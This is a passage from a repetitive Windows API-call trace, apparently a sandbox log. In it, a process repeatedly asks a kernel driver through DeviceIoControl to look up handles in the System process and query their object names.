lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.519] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0063.519] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.519] PsAcquireProcessExitSynchronization () returned 0x0 [0063.519] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.519] ObReferenceObjectByHandle (in: Handle=0xffffffff8000032c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030f8ea0, HandleInformation=0x0) returned 0x0 [0063.519] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.519] PsReleaseProcessExitSynchronization () returned 0x2 [0063.519] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.519] ObQueryNameString (in: Object=0xfffffa80030f8ea0, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.519] ObfDereferenceObject (Object=0xfffffa80030f8ea0) returned 0x1 [0063.519] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.519] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.519] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0063.519] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.519] PsAcquireProcessExitSynchronization () returned 0x0 [0063.519] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.519] ObReferenceObjectByHandle (in: Handle=0xffffffff80000330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030ebcb0, HandleInformation=0x0) returned 0x0 [0063.519] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.519] PsReleaseProcessExitSynchronization () returned 0x2 [0063.519] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.520] ObQueryNameString (in: Object=0xfffffa80030ebcb0, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.520] ObfDereferenceObject (Object=0xfffffa80030ebcb0) returned 0x2 [0063.520] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.520] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.520] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0063.520] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.520] PsAcquireProcessExitSynchronization () returned 0x0 [0063.520] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.520] ObReferenceObjectByHandle (in: Handle=0xffffffff80000334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030f8a90, HandleInformation=0x0) returned 0x0 [0063.520] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.520] PsReleaseProcessExitSynchronization () returned 0x2 [0063.520] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.520] ObQueryNameString (in: Object=0xfffffa80030f8a90, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.520] ObfDereferenceObject (Object=0xfffffa80030f8a90) returned 0x2 [0063.520] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.520] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.520] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.520] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.520] PsAcquireProcessExitSynchronization () returned 0x0 [0063.520] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.520] ObReferenceObjectByHandle (in: Handle=0xffffffff8000033c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030eb790, HandleInformation=0x0) returned 0x0 [0063.520] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.520] PsReleaseProcessExitSynchronization () returned 0x2 [0063.520] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.520] ObQueryNameString (in: Object=0xfffffa80030eb790, ObjectNameInfo=0xfffffa80038ef044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ef044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.520] ObfDereferenceObject (Object=0xfffffa80030eb790) returned 0x1 [0063.520] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.520] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.520] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.521] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.521] PsAcquireProcessExitSynchronization () returned 0x0 [0063.521] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.521] ObReferenceObjectByHandle (in: Handle=0xffffffff80000340, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800c9c02a0, HandleInformation=0x0) returned 0x0 [0063.521] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.521] PsReleaseProcessExitSynchronization () returned 0x2 [0063.521] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.521] ObQueryNameString (in: Object=0xfffffa800c9c02a0, ObjectNameInfo=0xfffffa80038bd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038bd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.521] ObfDereferenceObject (Object=0xfffffa800c9c02a0) returned 0x2 [0063.521] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.521] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.521] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0063.521] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.521] PsAcquireProcessExitSynchronization () returned 0x0 [0063.521] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.521] ObReferenceObjectByHandle (in: Handle=0xffffffff80000384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031a6400, HandleInformation=0x0) returned 0x0 [0063.521] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.521] PsReleaseProcessExitSynchronization () returned 0x2 [0063.521] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.521] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.521] ObfDereferenceObject (Object=0xfffffa80031a6400) returned 0x1 [0063.521] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.521] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.521] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0063.521] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.521] PsAcquireProcessExitSynchronization () returned 0x0 [0063.521] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.521] ObReferenceObjectByHandle (in: Handle=0xffffffff80000388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003195a90, HandleInformation=0x0) returned 0x0 [0063.521] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.521] PsReleaseProcessExitSynchronization () returned 0x2 [0063.521] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.521] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.521] ObfDereferenceObject (Object=0xfffffa8003195a90) returned 0x1 [0063.522] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.522] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.522] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.522] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0063.522] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.522] PsAcquireProcessExitSynchronization () returned 0x0 [0063.522] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.522] ObReferenceObjectByHandle (in: Handle=0xffffffff8000038c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031a3590, HandleInformation=0x0) returned 0x0 [0063.522] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.522] PsReleaseProcessExitSynchronization () returned 0x2 [0063.522] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.522] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.522] ObfDereferenceObject (Object=0xfffffa80031a3590) returned 0x1 [0063.522] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.522] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.522] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.522] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0063.522] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.522] PsAcquireProcessExitSynchronization () returned 0x0 [0063.522] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.522] ObReferenceObjectByHandle (in: Handle=0xffffffff80000390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f61820, HandleInformation=0x0) returned 0x0 [0063.522] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.522] PsReleaseProcessExitSynchronization () returned 0x2 [0063.522] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.522] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.522] ObfDereferenceObject (Object=0xfffffa8002f61820) returned 0x4 [0063.522] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.522] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.522] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.522] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0063.522] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.522] PsAcquireProcessExitSynchronization () returned 0x0 [0063.522] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.522] ObReferenceObjectByHandle (in: Handle=0xffffffff80000394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031a8d50, HandleInformation=0x0) returned 0x0 [0063.522] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.523] PsReleaseProcessExitSynchronization () returned 0x2 [0063.523] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.523] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.523] ObfDereferenceObject (Object=0xfffffa80031a8d50) returned 0x1 [0063.523] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.523] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.523] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0063.523] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.523] PsAcquireProcessExitSynchronization () returned 0x0 [0063.523] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.523] ObReferenceObjectByHandle (in: Handle=0xffffffff80000398, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031a9f20, HandleInformation=0x0) returned 0x0 [0063.523] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.523] PsReleaseProcessExitSynchronization () returned 0x2 [0063.523] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.523] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.523] ObfDereferenceObject (Object=0xfffffa80031a9f20) returned 0x1 [0063.523] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.523] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.523] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0063.523] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.523] PsAcquireProcessExitSynchronization () returned 0x0 [0063.523] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.523] ObReferenceObjectByHandle (in: Handle=0xffffffff800003a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031aa7c0, HandleInformation=0x0) returned 0x0 [0063.523] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.523] PsReleaseProcessExitSynchronization () returned 0x2 [0063.523] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.523] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038da044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038da044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.523] ObfDereferenceObject (Object=0xfffffa80031aa7c0) returned 0x1 [0063.523] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.523] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.523] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.524] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.524] PsAcquireProcessExitSynchronization () returned 0x0 [0063.524] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.524] ObReferenceObjectByHandle (in: Handle=0xffffffff800003b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031d7c80, HandleInformation=0x0) returned 0x0 [0063.524] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.524] PsReleaseProcessExitSynchronization () returned 0x2 [0063.524] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.524] ObQueryNameString (in: Object=0xfffffa80031d7c80, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.524] ObfDereferenceObject (Object=0xfffffa80031d7c80) returned 0x2 [0063.524] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.524] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.524] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0063.524] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.524] PsAcquireProcessExitSynchronization () returned 0x0 [0063.524] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.524] ObReferenceObjectByHandle (in: Handle=0xffffffff800003cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f699f0, HandleInformation=0x0) returned 0x0 [0063.524] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.524] PsReleaseProcessExitSynchronization () returned 0x2 [0063.524] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.524] ObQueryNameString (in: Object=0xfffffa8002f699f0, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.524] ObfDereferenceObject (Object=0xfffffa8002f699f0) returned 0x1 [0063.524] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.524] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.524] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0063.524] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.524] PsAcquireProcessExitSynchronization () returned 0x0 [0063.524] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.524] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f698a0, HandleInformation=0x0) returned 0x0 [0063.524] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.524] PsReleaseProcessExitSynchronization () returned 0x2 [0063.524] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.525] ObQueryNameString (in: Object=0xfffffa8002f698a0, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.525] ObfDereferenceObject (Object=0xfffffa8002f698a0) returned 0x1 [0063.525] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.525] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.525] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 